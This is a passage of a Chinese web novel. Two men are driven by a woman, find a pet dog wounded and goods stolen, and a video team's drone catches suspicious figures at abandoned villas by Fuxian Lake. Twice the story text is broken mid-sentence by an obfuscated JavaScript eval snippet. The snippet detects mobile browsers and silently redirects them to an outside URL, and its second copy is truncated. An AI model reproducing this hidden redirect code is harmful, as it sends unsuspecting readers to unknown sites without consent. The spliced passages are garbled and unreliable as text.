二百八笑着说:“嗐,不用看那玩意儿,我哥们儿气质不一样,他到时候一出来你就知道,一定是人群中最帅的那个!” 冷晚晚回头瞥了二百八一眼,心想就你这样,你哥们儿能帅到那儿去啊! 就在这时,二百八非常激动地打开车门,疯狂地朝着出口方向招手,嘴里还不停喊:“周游!周游!这边!这边!” 冷晚晚歪头往窗外看,只见一个高大挺拔的男人拖着行李往这边走来,他穿得很简单,短T配牛仔,看起来却格外精干,他一个胳膊拖着行李,另一个胳膊甩了甩后背的背包,手臂线条清晰可见,他一边往这边走,一边用手推了推鼻梁上的墨镜,打眼看过去确实很醒目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319310|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些出乎意料的帅气,不过人看上去冷冷的,面对二百八的热烈欢迎,根本无动于衷,没有一点情绪起伏,甚至连伸手回应一下都不愿意。 冷晚晚饶有兴致地看着周游,末了冲二百八笑笑:“看来你这个哥们儿确实跟你关系不怎么样啊!” 二百八尴尬地笑笑:“这属于历史遗留问题了!” 周游快步走过来,往车里瞄了瞄,一下子瞄到了坐在驾驶座上的冷晚晚,明显一愣,冷晚晚甜笑着跟周游打招呼,露出两个好看的酒窝。 “你好啊,帅哥,是叫周游吧!” 周游明显有些不自在,尴尬地笑了笑,回道:“哦,你好!” 周游以为冷晚晚是二百八的女朋友,也没多说什么,非常知趣地就要往后座去,没想到冷晚晚直接说:“帅哥,你坐前面啊!我们一路上好聊天!” 周游一时有些搞不清楚状况,一脸疑惑地看向二百八,半个身子就那么僵在了原地,没想到二百八一边帮他拿行李,一边乐呵乐呵地说:“对对对,你坐前面!” 说完,他好像突然意识到什么,忙走到周游身边,朝冷晚晚伸伸手,非常郑重地介绍道:“忘了给你介绍了,这个就是咱们今天的一日司机,冷晚晚。” 他说着十分抱歉地抬了抬受伤的胳膊:“不好意思,昨天胳膊伤了,开不了车,冷姑娘好心来帮忙开车接你……” 周游这才注意到二百八的胳膊上缠着纱布,问道:“你胳膊怎么伤的?” 二百八扶额叹气:“这个说多了都是泪,我们家旺财以为我要跟他抢食,就咬了我一口……” 说完,把周游往副驾推了推,催促道:“行了,行了,有话在路上说!” ***** 二百八虽然受了伤,但看起来心情很不错,一路上叭叭说个不停,反而周游闷在一旁,不怎么说话,有时冷晚晚好奇地问上一两句,他也是非常简短地回答,不过好在二百八一直说个不停,所以一路上也不存在冷场的问题。 后来说着说着,就说到了周游和二百八不对付的话题上了,冷晚晚试探地问了问原因,二百八刚准备开口说,结果周游抢先一步,冷笑着说:“至于原因,我可比你清楚吧!” 二百八不说话了,脸上露出谄媚的笑容,双手往周游那边送了送,做了一个“请”的手势。 说到二百八和周游的恩怨情仇,还得追溯到大学时期,那时候二百八还是一头黑发健在的小伙子,虽然谈不上帅气,但至少没现在这么油腻,他是隔壁学校的学生,跟周游和吴沅的室友是老乡,有事没事常来找他们玩儿,一来二去大家就混熟了,有时候一起约着吃吃饭、打打球。 二百八这人爱吹嘘,一张嘴时刻叭叭不停歇,几个人只要一聚到一起,他就开始津津乐道地说他的各种破事儿,比如为了修电脑挣钱,就去几个学校里散播电脑病毒,又比如用硬盘存了几百部带颜色的片子,到各大院校的男生宿舍里兜售传阅,后来觉着挣钱也没劲了,就开始蠢蠢欲动,想着谈谈恋爱玩玩,于是又打起各个学校女生的主意。 他这人虽然长得高,但是其貌不扬,按说应该属于找对象的困难户,结果人家各个学校广撒网,专挑单纯懵懂的姑娘下手,各种死缠烂打、穷追不舍,再加上那时候他通过歪门邪道搞了不少钱,出手阔绰,竟真让他得了手。 也是,全中国人那么多,总会有几个眼瞎的…… 也就从那时候开始,他开始频繁换女友,恨不得一天换三个,每次带出来的女朋友都不一样,周游实在看不惯,觉得他这是在欺骗别人的感情,就说了他几句,结果没想到二百八顿时不乐意了,反而义正严辞地说:“我这叫你情我愿,你懂吗?也是,你们这群和尚懂什么?!” 那时候周游忙着上课训练,一心想进国家队,根本没有恋爱的心思,吴沅呢,被上课训练折磨的小命都快没了,哪里还有精力搞对象?同寝室的兄弟也都因为各种各样的原因单着,就二八百一个人每天都很闲,今天撩撩这个,明天撩撩那个,俨然成为了行走的“人形泰迪”,但他不以为耻反以为荣,甚至当做自己学生生涯的“丰功伟绩”到处吹嘘。 周游实在看不上二百八,觉得这人心术不正,又爱耍小聪明,人品德行几乎一无是处,便和吴沅借口课业繁忙不再跟他往来了,之后很长一段时间,周游都没有再关注过二百八的消息,就在他以为以后都不会再跟二百八有交集的时候,有一天,好几个女生突然堵在了他们宿舍楼下,拉着他们就不让走了,非让他们负责不可。 周游和吴沅哪里见过这种场面,当时就慌了,还好吴沅记性好,认出来那几个姑娘曾经跟二百八交往过,两人一时搞不明白,这些女生来找他们干什么,心想跟你们处对象的又不是我们,我们要负什么责任? 后来一问才知道,二百八坏事做得多了,终于东窗事发,被学校开除了,这些姑娘一时找不到人,竟然私下联合组成了一个“受害者联盟”,其中有两个姑娘还怀孕了,找不到二百八,又没钱去打胎,更加不敢跟家里人说,当着周游和吴沅的面哭得鼻涕眼泪一大把,两人看着姑娘实在是太可怜,动了恻隐之心,决定出钱带她们去打胎,至此这个仇也算是结下了。 二百八听完,感叹一句:“那时候年少无知,不懂事啊!” 周游终于忍不住,开口骂道:“你说得什么狗屁话,我们特么因为你干得那些烂事儿,第一次陪姑娘去了妇产科,还被医生骂得狗血淋头!你知不知道!” 一提到这事儿,周游就气得不行,冷晚晚看热闹不嫌事儿大,在一旁各种添油加醋,一会儿骂二百八不是人,一会儿又哀叹姑娘们识人不清,最后又感叹周游好人一生平安。 周游顿时找到了同盟者,跟冷晚晚你一句我一句,对着二百八一顿火力猛攻,很快就建立了战友般的革命情谊,周游渐渐松弛下来,没有刚来的时候那么冷冰冰了,他开了窗,胳膊支在窗口,阳光打在他的脸上,显得整个五官更加分明有型,整个人显得潇洒恣意。 冷晚晚不时扭头看他,看得光明正大,看到后来周游都觉出了不妥,心里七上八下地问:“怎么了?” 冷晚晚笑了笑:“没什么啊!我就想问你有没有女朋友啊?” 周游顿时尴尬又局促,一时不知道该怎么应答,他忙透过后视镜向二百八发出求救信号,哪知二百八表情玩味,一脸憋着坏笑,周游整个人都要气疯了,心想这女的不是你女朋友吗?还带这么玩儿的? 见周游迟迟没有回应,冷晚晚便知道答案应该是“没有”,要不然他早说话了,于是又问:“那你的理想型是什么样的?” *** 9. 相遇 行到中途,二百八实在扛不住了,毕竟一晚上没睡,困意一阵阵来袭,他终于闭上嘴巴,歪倒在后座呼呼大睡起来。 没了二百八插科打诨,周游真是如坐针毡,毕竟没多少跟姑娘斗智斗勇的经验,生怕冷晚晚下一秒又问出什么令他难堪的问题,可现在就他们两人,他沉默不出声吧,气氛实在太尴尬,他闭眼装睡吧,又不太礼貌。 正犯难呢,冷晚晚又发动了新一轮的问题攻势,问题一个接一个,也不在乎他答不答,就这样断断续续,零零碎碎,冷晚晚竟也知道了不少周游的事。 三十出头,体院毕业,早年的梦想是成为一名职业运动员。 “照这么说,你以前是打算做运动员的,那后来为什么放弃了?”冷晚晚问。 “伤病,不得不放弃……” “所以,后来就做了网红?” 都是被二百八闹的,周游现在一听到“网红”这个词就觉得刺耳,他长吁一口气,尽量心平气和地解释:“网红不是职业,通常我们叫自己视频创作者。” 看得出来,周游很不喜欢“网红”的称谓,冷晚晚抿嘴笑了笑,虚心接受指正,一字一句地说:“好的,视频创作者。” 话题来来去去,大多围绕在周游身上,冷晚晚像是对他有很多好奇,他转念一想,与其这样被动,还不如先下手为强,调转攻守态势,于是不等冷晚晚继续发问,他率先开口:“别光问我啊,说说你们俩的恋爱故事呗!” 说实话,他第一眼看到冷晚晚的时候,有点惊讶,第一反应就是二百八这家伙肯定又旧病复发,到青海来欺骗无知少女了,末了又有点惋惜,心想这么好看的一个姑娘,怎么就瞎了眼呢…… 结果这一路看下来,周游算是看明白了,这姑娘可是不简单,跟他想象中的“无知少女”实在相去甚远。 周游的话刚出口,冷晚晚就皱起了眉头,满脸困惑地重复周游的问题:“我们俩的恋爱故事?” 周游点点头:“对,你们俩的故事!” “我跟谁?” 周游被冷晚晚问糊涂了,往后指了指:“你和二百八啊!” 冷晚晚怀疑自己听错,直接一脚刹车,转头问:“谁?你说我跟谁?” 周游猝不及防,差点撞到挡风玻璃上,胸口被安全带勒得生疼,下意识皱紧眉头嘶了一声。 二百八像一座大山一样,直接被甩到前排,最后卡在了前排座位之间,他迷迷瞪瞪地挣扎着抬起头,挺了两秒突然惊慌失措地问:“怎了?怎么?撞哪儿了?” 见车前方空旷无碍,并没有发生撞车事故,二百八这才长舒一口气。 冷晚晚大喊一声:“二百八!” 二百八晕晕乎乎的应了一声:“啊?” 冷晚晚转头,笑眯眯看他:“是你跟他说我们俩在谈恋爱?” 二百八一脸懵怔:“啥??” 下一秒,冷晚晚变脸:“是不是你说的!” 合着这人一直以为她跟二百八是一对?她看起来有那么眼瞎吗?脑子有那么不好使吗? 平时越是笑意盈盈的人,发起脾气就越吓人,二百八见状,连连摆手否认:“没有,没有,我没说过啊!” 周游见两人这般反应,知道多半是自己猜错了,刚准备解释几句,就感受到冷晚晚身上蓄而未发的炙烈怒火,为了自己不受波及,他心里突然有了个好主意。 他嘴角弯了弯,眉毛一挑,转头看向二百八,又往火上浇了一层油:“你没跟我说吗?我怎么记得你说过……” 二百八这下真是跳进黄河也洗不清了,冷晚晚的火气噌一下就上来了,眼神像刀子一样朝着二百八飞过去,看得二百八胆战心惊,下意识往后座里躲了躲,真是好大一口黑锅从天而降,他苦着一张脸,无力地解释:“我真没说过!周游你怎么还编瞎话呢!” 说着一脸哀怨地看向周游,只见周游悄咪咪露出一副你不下地狱谁下地狱的表情,二百八便知道他是故意的,这家伙果然还记着仇呢!没办法,谁让自己还有求于他呢!只能哑巴吃黄连,有苦往肚子里咽…… 冷晚晚周身散发出一种不好惹的气场,她一言不发地一脚油门,车又咻一下飙了出去,之后一路,她再没有说话,周游明显感受到了车内气流的变化,这个女人像是瞬间对车里的人失去了兴趣,包括他。 ******* 半个小时后,冷晚晚把车开到了二百八的小破院门口,两个男人刚下车,冷晚晚就一脚油门,车轰一下绝尘而去,留下两个目瞪口呆的男人站在原地,对着远去的车屁股行注目礼,车尾扬起的沙尘直扑过来,搞得两个人灰头土脸的。 周游眯着眼睛,噗噗往外吐沙子,末了后知后觉地问:“她是不是生气了?” 二百八无奈地看他一眼,也噗噗吐了几口,阴阳怪气地说:“没有,我觉得她挺高兴的呢!” 说着,摇摇头,掏出钥匙来开门。 二百八的房子位置特别偏,已经到了镇子的最边缘,门脸外头墙皮破破烂烂,连里面的砖头都清晰可见,房顶上挂着一块褪色的广告牌,写着“包车服务”几个大字,后头跟着二百八的一长串手机号,周游盯着广告牌看了看,发现最下面还有一行小字——摄影、导游、司机一站式全包服务。 呵,服务倒是挺周全! 因为位置偏僻,临街的商铺生意萧条,多半都关了门,也就一两家小超市还开着,房子紧邻的一侧是一家条件看起来不太好的民宿,门口挂着大大的“住宿”招牌,另一侧是一些无人居住的低矮破房子,跟远处的草场连成一片,再远一点,能看到一抹蓝色的弧度,那是青海湖。 二百八捏着钥匙,还没怼进钥匙孔,就觉出了不对劲,顺势用脚轻轻一踹,铁皮门吱一声就开了,二百八一脸疑惑地挠挠锃亮的脑瓜子。 “咦?奇了怪了?我出去的时候明明锁了门啊!” 他也没多想,他一边把钥匙装回兜里,一边把周游往屋里引。 “来,进来,进来!” 说话间,屋子里的怪味就扑了出来,酒味,汽油味,菜味,霉味,汗臭味,各种味道混合在一起,周游下意识皱起鼻子,等等!这么多味道层次中,还有一种淡淡味道,不仔细闻根本闻不到,那是,鱼腥味…… 二百八自知家里条件寒酸,有些窘迫,故意打哈哈:“哥们儿,你别嫌弃啊,我们这乡下地方可比不了你们城里啊……连味儿都不好闻……” 周游没吭声,跟着二百八往里走,问了句:“东西呢?” “在院子里呢,那东西味道忒大了,放屋里受不了。” 几步跨进屋内,周游才算是开了眼,以前很多家长批评小孩不爱整洁,总会说把屋里弄得跟狗窝似的,大多是夸张的说法,但二百八这屋里,真是实打实的狗窝都不如。 屋里到处都灰扑扑的,地上东西乱成一堆,几乎没地方下脚,屋子中间放着桌子,桌面胡乱地堆着杂物,各种票据、名片、香烟,瓜子,还有吃剩饭菜,酒瓶子歪倒在一旁,湿漉漉撒了一桌面。 看到眼前的景象,二百八似乎也吃了一惊,像是突然想到什么,迈腿就往后院跑,周游见情况不对,也紧跟了出去,一边跑一边问:“怎么了?” “特么的,有人来过了!” 二百八一到院子里,就直奔厨房门口的池子,水池子不大,四四方方,一米来长,日常洗衣洗菜用的,一旁扔着一个淡蓝色的塑料储物箱。 二百八低头往池子里看了看,紧接着整个人就蓦地僵住了。 “我擦……东西……没了!” 周游赶到,也探身往池子里看了一眼,池底空空荡荡,只留有一股淡淡的腥味,池子上方的水龙头还在滴答滴答。 二百八和周游对视了一眼,有人把那东西拿走了! 周游立马绕着院子四处看看,最后在院子的水泥地上发现了几大块殷红的血迹。 “二百八,你过来看看!” “是血!” 周游补了一句:“还新鲜着!” “这么看,刚走不久?” 血迹里还参杂着一些毛发,周游小心翼翼用手拈起一根,拿到眼前细细看了看:“这是……狗毛?” 说话间,忽听见角落里有细微的吭叽声,周游拍了拍二百八:“你听到什么声音了吗?” 二百八竖起耳朵听了一会儿,突然一拍大腿:“旺财!” 他怎么把旺财给忘了呢!怪不得觉得奇怪,刚刚开门的时候旺财竟然都没迎出来,不正常!太不正常了! “旺财!旺财!” 二百八一边喊它的名字,一边和周游在角角落落里找它。 旺财听到动静,知道是主人回来了,这才敢大着胆子吭叫了几声,两人赶忙寻着声音去找,最后发现旺财竟然在院墙边排水的孔洞里,那孔洞也就碗口大小,都不知道它是怎么钻进去的。 二百八趴在洞口往里看,有些哭笑不得:“我的亲娘诶,你怎么钻到这里面去了!” 旺财在洞里都被挤得看不出形态了,只有一双眼睛还在可怜巴巴地眨巴眨巴。 “这特么要怎么弄出来啊!” 二百八撅着屁股,趴在洞口,他倒是想伸手把旺财够出来,奈何胳膊宛若油桶,根本伸不进去,急得抓耳挠腮,活像一只彷徨无措的大肥鹅。 “我来试试看!” 周游把二百八挤到一边,又趴低了点,刚试着往洞里伸手,突然想到什么,回头看了看二百八,问道:“它不会咬我吧!” 二百八眼珠子滴溜滴溜转,言不由衷地说:“这……旺财挺聪明的……应该能分辨出来你是善意的吧……” 他说着看了一眼自己胳膊上的伤,结果越说越没底气,末了犹犹豫豫补了一句:“……反正……你自求多福吧……” 旺财大抵是昨晚咬了二百八,被狠狠教育了一顿,今天变得格外温顺乖巧,周游拽它的时候,它也不挣扎,非常配合,等到把它拽出来之后,二百八和周游都被吓了一跳。 旺财身上伤痕累累,背脊一直到尾巴上都被血浸透了,不少地方毛都秃了,显然在他们回来之前,在这个院子里进行过一场惨烈的厮杀,旺财像是很害怕,全身抖得不行,一直可怜巴巴地夹着尾巴,畏畏缩缩的。 二百八一下子急红了眼:“这特么到底是谁干的!” 毕竟是自家狗,即使自己再不待见,也不允许别人动它一根毛! 旺财突然抬头望着二百八,眼睛里亮闪闪的,像是听懂了他的话,摇摇尾巴就往外跑,二百八和周游对视一眼,这特么是要带着我们找凶手?! 二百八突然热血上涌,胸腔中燃起一股江湖豪情!特么的!敢打老子的狗!偷老子的东西!没门! 两人一路跟着旺财跑出去好远,期间在马路边沿潮湿泥土上发现了一条崭新的轮胎印,旺财循着那个印子一直狂吠不止,周游蹲下身,用手指在印记上比了比,二百八凑过去,一脸怀疑:“这特么能看出来什么?” “这个宽度有点像是丰田的陆地巡洋舰啊!” 二百八才不管,什么舰不舰的,他倒是觉得这些擅闯他家的人很贱!别的不管了,一定要让这些人付出代价!他二百八活到现在还没受过这种窝囊气呢!特么现在竟然欺负到他头上! 他也不管三七二十一,拿着手机就给卓玛去了一个电话,开口就问冷晚晚在不在,让她接电话,等冷晚晚接过电话,还没待她开口,二百八就激动地在这头喊:“你快把车给我开回来!我要去抓贼!” 那头冷晚晚一听,也激动了:“抓贼?!这么刺激?等我!马上到!” ******* 夏日的抚仙湖像海,深蓝静默,远远看去,湖面平静无波,偶有船只悄然划过,在湖面留下一道拉长的斑驳痕迹,但转瞬就消失无踪。 潜水的事暂时告一段落,还没开始下一步动作,吴沅和团队小伙伴暂得空闲,在民宿休息。 民宿是别墅改建,依山傍水,风光绝美,之前他们整日忙着潜水拍摄,根本没时间细细欣赏,现在终于得闲,都窝在民宿里,看风景的看风景,休息的休息,听着舒缓的音乐,闻着咖啡的香气,感受时间的静缓流淌,颇有点“偷得浮生半日闲”的惬意。 吴沅戴着墨镜,躺在露台的藤椅里,双腿翘起搁在了栏杆上,脚尖随着音乐打着拍子,悠哉悠哉地看着湖面米粒般大小的游船去去来来。 过了会儿,团队唯一的小姑娘小悦悦端着杯咖啡出来,无精打采地靠在栏杆边,整个人看上去蔫蔫的。 吴沅看了她一眼:“你咋啦?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319311|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小悦悦叹了一口气:“头儿,我想象中的云南之行可不是这样的!” 说着回头,一脸嫌弃地往屋里看了一眼。 只见团队里的两个大老爷们儿,一个叫大志,正趴在桌上吃鸡,一个叫起子,正窝在沙发里睡觉。 “咱们现在暂时没拍摄任务,干嘛要在屋子里这么待着啊,浪费这大好时光,我要知道是这样,我就不来了!!” 吴沅想了想,小悦悦这话说得在理,来都来了一趟,不出去带大家玩玩,好像确实说不过去。 小悦悦见吴沅表情松动,赶忙补了一句:“头儿,你组织一下,咱们也出去逛逛吧!我听说这附近有粉色沙滩,老漂亮了,咱们去看看?还有还有,这抚仙湖独有的特产抗浪鱼,据说特别鲜,咱们还没吃过呢!得尝尝啊!” 小悦悦一说到出去玩,就两眼放光,整个人瞬间活了过来,吴沅看着她笑了笑说:“行啊,你把他们都叫起来!咱们准备准备,出去转转。” 几人从民宿出来,外头太阳大得很,几个人躲着太阳,专找有树荫的地方走,所以绕了一段远路,大志眼尖,指了指不远处的另一座山头,惊叹道:“我擦,那一片都是烂尾别墅!!” 他这样一说,所有人齐刷刷转头去看,只见与民宿相隔不远的另一座山头上遍布着密密麻麻的别墅群,粗略看看大概也有成百上千栋,别墅大体框架都已经建好,但是荒草丛生,看起来荒废许久,那山头的位置离湖更近,风景也更好,一看就是专为享受生活的有钱人士打造。 起子酸溜溜地感叹:“那一套别墅怎么也得好几百万吧,奶奶的,小爷打一辈子工也未必买得起一套!” 大志顺势接话:“你买不起,咱们这里有人能买得起呀!” 说着拿胳膊肘戳了戳吴沅,问道:“头儿,你就没打算来这抚仙湖边搞一套度假小别野?每年闲了就来这里住住?” 起子马上过来凑热闹:“对啊对啊,到时候我们还可以来沾沾光!” 吴沅皱了皱眉,摇摇头,一副不能理解的样子:“房子够住就行,买那么多干什么?留着吃灰啊!” 末了,压了压墨镜,冲着起子说:“怎么?你想在这里买房子?行啊,只要你好好工作,这些以后都会有的!” 话音刚落,所有人都斜眼冲他露出鄙夷的神色,紧接着异口同声:“切!又画饼!” 三人说完头也不回,大步往前走,留吴沅一个人跟在后头,大呼小叫:“嘿!你们这是无法无天了是吧!!” 吴沅赶忙快步跟上,几人聚在一起,又热热闹闹聊起来。 “那地方,晚上应该挺吓人的,晚上用无人机飞一趟,可以拍点素材!” “这个可以有,再加点音效,恐怖效果拉满!!” “那块地方要是能盘下来,现在剧本杀和密室那么火,搞一搞,说不定能挣大钱!” 吴沅调笑:“起子,可以啊,没看出来,还挺有商业头脑的嘛!咱们公司庙小,可真是委屈你了!” “头儿,你可别想着法儿挖苦我了,我还等着公司壮大,给我们在这买别墅呢!” 大志和小悦悦闻言,赶忙附和:“对对对!” 一行人嘻嘻哈哈,打打闹闹,从山上的林荫道下来,面前是一条宽阔蜿蜒的环湖路,穿过马路,就能看到辽阔蔚蓝的抚仙湖。 几个人穿过马路,在对面见到一个推着小吃车的老太太,老太太看起来年纪很大了,穿一身宽松的印花褂子,头发用发箍整齐地梳到脑后,脸上的皮皱皱巴巴,嘴巴也向里凹皱成了一团,应该是常年劳作的缘故,整个人又黑又瘦,脊背微微有些佝偻,她站在大太阳底下叫卖木瓜水和炸洋芋,头上汗津津的,见有人走过去,就会抬起头问一句:“帅哥美女,你们要不要买一份?” 吴沅看着老太太,不知怎么就想起了自己的奶奶,一时间情绪上涌,心里难受极了,站在小吃车旁就挪不动步子了,缓了好一会儿,又把已经走远的三个人喊了回来:“哎,你们三个回来,请你们吃点东西!” 几个人忙不迭地又跑回来,围在老太太的小吃车旁,老太太很高兴,忙问:“你们要买多少?” 吴沅探身往小吃车里看了看:“您这里还有多少?” 老太太看了看锅里剩下的余料:“今天生意差,还没卖出去多少呢!” 吴沅想了一下:“那这样吧,您这一车我都包了!今天我们公司做活动,请这边的游客免费吃!您这一车平常能卖多少钱?我给您钱!” 老太太显然没想到,愣了半天,过后一脸不解地看向吴沅:“帅哥?你真要买这么多啊?” 吴沅一边掏钱包一边说:“对啊!你看这些钱够不够!” 说着掏出五百块钱,递给老太太,老太太一下傻了眼,连忙推脱:“要不了这些,要不了这些,太多啰!太多啰!” 两人推来推去,老太太死命不收:“不行,不行,我怎么能拿那么多呢?” 见老太太意志坚决,吴沅只好把钱都摊开,让老太太自取,老太太这才笑了笑说:“好,我只收你一百,我平常要是生意好都卖光,能卖一百块!” 吴沅莫名鼻子一酸,他低着头,又把剩下的钱收回钱包里。 之后,老太太麻利翻炒,几个小年轻都当起了宣传员,在太阳下卖力喊:“免费喝木瓜水啦,免费吃炸洋芋啦,我们老板今天发疯请客啦!” ******* 一行人回到民宿的时候,天色已经浓黑如墨了,按照预定计划,他们要用无人飞到隔壁山头的烂尾别墅里一探究竟。 一切准备就绪,无人机骤然升空,向着目标建筑群飞去。 画面一点点拉近,夜幕之中,月亮高悬,白色的墙体和红色砖瓦清晰可辨,这本是一座富贵人士的养居之地,现在却一片荒芜,杂草丛生,放眼望去,看不到一丁点活物,在夜色的层层装点下,栋栋别墅鬼魅森森,就像一座座幽冥鬼居。 几人挤挨在一起,都全神贯注地盯着无人机画面,就在这时大志看着画面突然“咦”了一声。 随后,所有人都呼吸一窒——黑暗中,他们分明看到有人站在山头,正费劲地把什么东西抛进湖里。 小悦悦一脸惊恐:“我们不会点子这么背,遇到杀人抛尸了吧!” **** 10. 烂尾别墅 小悦悦语毕,几个大男人互看了一眼,下意识都屏住了呼吸,像是担心稍稍喘息重了就会被那头的人发现。 “这,不会吧……也说不定是人家大晚上睡不着,去山头遛个弯呢……” 起子说完,几个人缓缓抬头看他,露出一副“这鬼话你自己信吗”的表情,不过托他的福,他这句话过后,原先笼罩着的恐怖氛围顿时就烟消云散了,起子尴尬地笑笑,意识到这个理由确实有点离谱荒唐,连他自己都说服不了。 也是,大晚上谁没事儿跑那么个废弃的地方去遛弯啊,这要么是脑子不好使,要么是在做什么坏事,要么……要么…… “会不会是半个同行,也看中了这块地方,晚上专门来搞那种恐怖直播啊?”起子毫不气馁,又一次发散思维。 黑暗中,无人机拍摄的画面影影绰绰,看不真切。 吴沅想了想,小声说:“靠过去看看!” “无人机有声音啊,离得近了肯定会发现!”大志小心翼翼操控着无人机,有些担心。 小悦悦嫌弃地瞥了他一眼:“发现就发现了呗,大不了就跑,再说了是无人机飞过去,又不是你飞过去,怕啥!” 大志犹犹豫豫:“这无人机不少钱呢……这要是贸然过去,被人打下来坏了咋办!” 说完,三人齐刷刷看向一旁的吴沅,就等他开口,吴沅挨个看了他们一眼,无语地说:“坏了就坏了呗,又不是没坏过!也不差这一个!” 就等这句话了,大志得令,立马放开胆子,操控着无人机一路勇猛向前,咻咻朝着山头飞去,眨眼间,山头上原本团团模糊的人影,渐渐能看出些轮廓来,四个人头顶着头,死盯着画面,恨不得一头扎进屏幕里。 “是三个人!”小悦悦有点激动。 “再靠得近一点,看看他们在干什么。”吴沅在一旁指挥。 大志这会儿也不担心了,径直让无人机靠了过去,无人机桨叶的声音一下子就惊动了那头,几条人影先是一惊,明显僵住了几秒,等到搞清楚状况后,两条高大人影一前一后突然朝着无人机奔过来,下一秒高高跃起,张开臂膀朝着无人机生扑过来,速度很快,像扑食的猎豹一般迅猛有力。 “我擦,这特么是人的速度吗?”起子惊呆了! 眼见着人影像一团浓云即将覆下来,耳畔仿佛都能听到带起的呼呼风声,屏幕这头的几个人心都快跳出来了,赶忙催促大志:“快快快!升起来!快升起来!” 可是已经来不及,无人机像是被什么硬物击中,突然直坠了下去。 “我擦!我擦!我擦!!”大志一连串惊呼,手上动作不停,但已然失控,无法挽回了。 整个坠落过程大概持续了五六秒,画面一顿乱晃,像卡顿了一样,但还没有中断,能听到各种刺耳的杂音,又过了几秒,有微弱的灯光打过来,无人机似乎是掉在了草丛里,胡乱搭缠的草丝在摄像头前支棱着,透过草丛的空隙,能看到一串拉长的暗影正一步一步靠过来。 突然,有人伸手把无人机捡了起来,左右晃了晃,然后转身往后走了几步,转手又交给了另一个人,那人拿在手里反复翻看,这时画面里突然出现了一张男人的脸,脸颊瘦削,嘴角有一颗黑痣。 吴沅心里咯噔一下,瞬间感觉一股寒意从脚底起,身上泛起一层细小的颤栗。 这特么不是水底的那个男人吗? 那个男人面目阴沉,一双眼睛像勾子似的,盯着屏幕看了好一会儿,像是能透过镜头看到屏幕这头,看得几个人皆是一阵毛骨悚然,一个个下意识缩紧脖子,偏头躲了躲,男人嘴巴紧抿着定了几秒,突然抓住无人机两端,下颌骨紧绷用力,眼珠子亮闪闪的,发出一阵令人眩晕的奇异光彩。 他……这是……要用手把无人机折断? 下一秒,屏幕漆黑一片,几个人傻愣在原地,盯着黢黑的屏幕,半天没反应过来,远处吹来的风似乎都带了深重的凉意,吹得几个人心头发颤,手脚冰凉,起子率先尖叫着逃回屋里。 关上门,关上窗,拉好窗帘,几个人在沙发上排排坐好,吴沅还是觉得不安,眼睛时不时瞟向露台的玻璃门,像是生怕那男人会突然夺门而入,让起子来来回回确认了好几次门关没关好。 要说,他们也没看到什么极恐怖的画面,就是在烂尾别墅区看到了几个人,鬼鬼祟祟不知在干什么,但结合在抚仙湖底的发现,眼前这个人显然不一般…… 到底是人?是鬼?还是怪? 小悦悦想起刚刚的一幕,身上就一阵阵发冷,实在坐不住了,起身去烧了一壶热水,几个人各自倒了一杯,捧在手里,也不喝,就那么捧着,像是捂暖了手心就能驱散心底怪异不安的情绪。 “要不,把电视打开吧!” 民宿空间不小,空空荡荡的,吴沅总觉得心里发毛,于是出声提议。 大志闻言赶忙探身从茶几上拿起遥控器,打开电视选了一个热闹的频道,音量调到最大,电视里主持人和明星嘻嘻哈哈做着无聊的游戏,放在平日里,这样的节目他们肯定都会嗤之以鼻,绝不会看一眼,但现在这玩意儿倒是跟“社会主义核心价值观”一般有了妙用,带着人间的热乎劲,很快就让几个人回了魂。 “那男人特么是人是鬼啊?一会儿在水底一会儿在废墟……跟看鬼怪片似的……”起子忍不住感叹。 小悦悦拼命拒绝现实:“应该只是长得像而已吧,或许,是两个不同的人呢……” 大志摇头:“怎么可能!就算是双胞胎都不可能这么像!你没看到他嘴角的那颗黑痣吗?!” 小悦悦沉默了。 “那个影子扑过来的时候,我特么吓死了!怎么会那么快,那么猛……”起子现在想起来还心有余悸。 大志苦笑:“好在拍的视频备份了,这趟无人机也不算白白牺牲。” 吴沅一直没出声,大家都觉得奇怪,同时扭头看他。 小悦悦出声问:“头儿,你怎么不说话啊?” 吴沅紧皱着眉头,若有所思:“我现在就在想,他们到底往湖里抛了什么东西……” 一说到抛东西,小悦悦又想到了自己最初的猜想,暗夜,废屋,杀人,抛尸,这几个关键要点组合在一起,怎么想都是一出气氛拉满的悬疑剧情,现在又要加上一条“水底男人”,剧情就变得更加诡异玄幻了。 不会真是鬼吧,淹死在水底的鬼,上来索命来了……一想到这里,小悦悦浑身一哆嗦,下意识往沙发里缩了缩。 “咱们要不要给游哥打个电话问问?咱们也没经历过这种事儿啊。”起子问。 “别了吧,他伤还没好彻底,你一个电话过去,他肯定立马过来!”大志反对。 吴沅点点头:“这事儿咱们都还没理出头绪来呢,跟他说也没用……” 几个人有一句没一句的聊着,心里是又好奇又恐惧,大晚上也不敢去那片别墅区确认,于是商定明天一早去实地看看,想着青天白日,又在旅游景区,就算是有什么妖魔鬼怪应该也不敢为非作歹吧…… 大家一直在大厅待到了凌晨,后来实在熬不住了,才各自回房。 吴沅到底是心里有事,心里的弦紧绷着,屋子里稍微有点动静就一惊一乍的,翻身动作稍微大了点,床架子咯吱一声,都把他自己吓得够呛,唉,胆子小就这点不好,动不动就容易先把自己吓死,看来这一夜注定无眠,只能辗转反侧熬到天亮了。 